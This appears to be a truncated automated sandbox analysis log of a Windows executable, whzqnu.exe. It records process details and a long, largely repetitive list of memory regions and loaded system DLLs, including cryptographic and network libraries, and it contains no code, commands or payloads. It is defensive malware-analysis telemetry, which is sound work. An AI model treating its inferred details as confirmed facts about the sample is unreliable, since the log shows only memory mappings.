# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Jan 8 2019 16:19:15 # Log Creation Date: 14.01.2019 07:50:05.826 Process: id = "1" image_name = "whzqnu.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\whzqnu.exe" page_root = "0x50810000" os_pid = "0x948" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 6 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 7 start_va = 0x13a0000 end_va = 0x147afff entry_point = 0x13a0000 region_type = mapped_file name = "whzqnu.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\whzqnu.exe") Region: id = 8 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 11 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 12 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 13 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 14 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 149 start_va = 0x4c0000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 150 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 151 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 152 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 153 start_va = 0x680000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 154 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 155 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 156 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 157 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 158 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 159 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 160 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 161 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 162 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 163 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 164 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 165 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 166 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 167 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 168 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 169 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 170 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 171 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 172 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 173 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 174 start_va = 0x780000 end_va = 0x907fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 175 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 176 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 177 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 178 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 179 start_va = 0x910000 end_va = 0xa90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 180 start_va = 0x1480000 end_va = 0x287ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001480000" filename = "" Region: id = 181 start_va = 0x74d80000 end_va = 0x74d82fff entry_point = 0x74d80000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 182 start_va = 0x380000 end_va = 0x480fff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3681 start_va = 0x75160000 end_va = 0x7516efff entry_point = 0x75160000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3682 start_va = 0x751e0000 end_va = 0x751f8fff entry_point = 0x751e0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3683 start_va = 0x75200000 end_va = 0x75210fff entry_point = 0x75200000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3684 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3685 start_va = 0x5b0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 3686 start_va = 0xbe0000 end_va = 0xcdffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 3687 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3688 start_va = 0xb10000 end_va = 0xb4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 3689 start_va = 0xe80000 end_va = 0xf7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 3690 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3691 start_va = 0x74c70000 end_va = 0x74c85fff entry_point = 0x74c70000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3692 start_va = 0xd0000 end_va = 0x10bfff entry_point = 0xd0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3693 start_va = 0xd0000 end_va = 0x10bfff entry_point = 0xd0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3694 start_va = 0xd0000 end_va = 0x10bfff entry_point = 0xd0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3695 start_va = 0xd0000 end_va = 0x10bfff entry_point = 0xd0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3696 start_va = 0xd0000 end_va = 0x10bfff entry_point = 0xd0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3697 start_va = 0x74c30000 end_va = 0x74c6afff entry_point = 0x74c30000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3698 start_va = 0xf80000 end_va = 0x124efff entry_point = 0xf80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3699 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3700 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3701 start_va = 0x2c90000 end_va = 0x309ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c90000" filename = "" Region: id = 3702 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3703 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3704 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3705 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3706 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3707 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3708 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3709 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3710 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3711 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3712 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3713 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3714 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3715 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3716 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3717 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3718 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3719 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3720 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3721 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3722 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3723 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3724 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3725 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3726 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3727 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3728 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3729 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3730 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3731 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3732 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3733 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3734 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3735 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3736 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3737 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3738 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3739 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3740 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3741 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3742 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3743 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3744 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3745 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3746 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3747 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3748 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3749 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3750 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3751 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3752 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3753 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3754 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3755 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3756 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3757 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3758 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3759 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3760 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3761 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3762 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3763 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3764 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3765 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3766 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3767 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3768 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3769 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3770 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3771 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3772 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3773 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3774 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3775 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3776 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3777 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3778 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3779 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3780 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3781 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3782 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3783 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3784 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3785 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3786 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3787 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3788 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3789 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3790 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3791 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3792 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3793 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3794 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3795 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3796 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3797 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3798 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3799 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3800 start_va = 0x2880000 end_va = 0x2c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 3801 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3802 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3803 start_va = 0xd0000 end_va 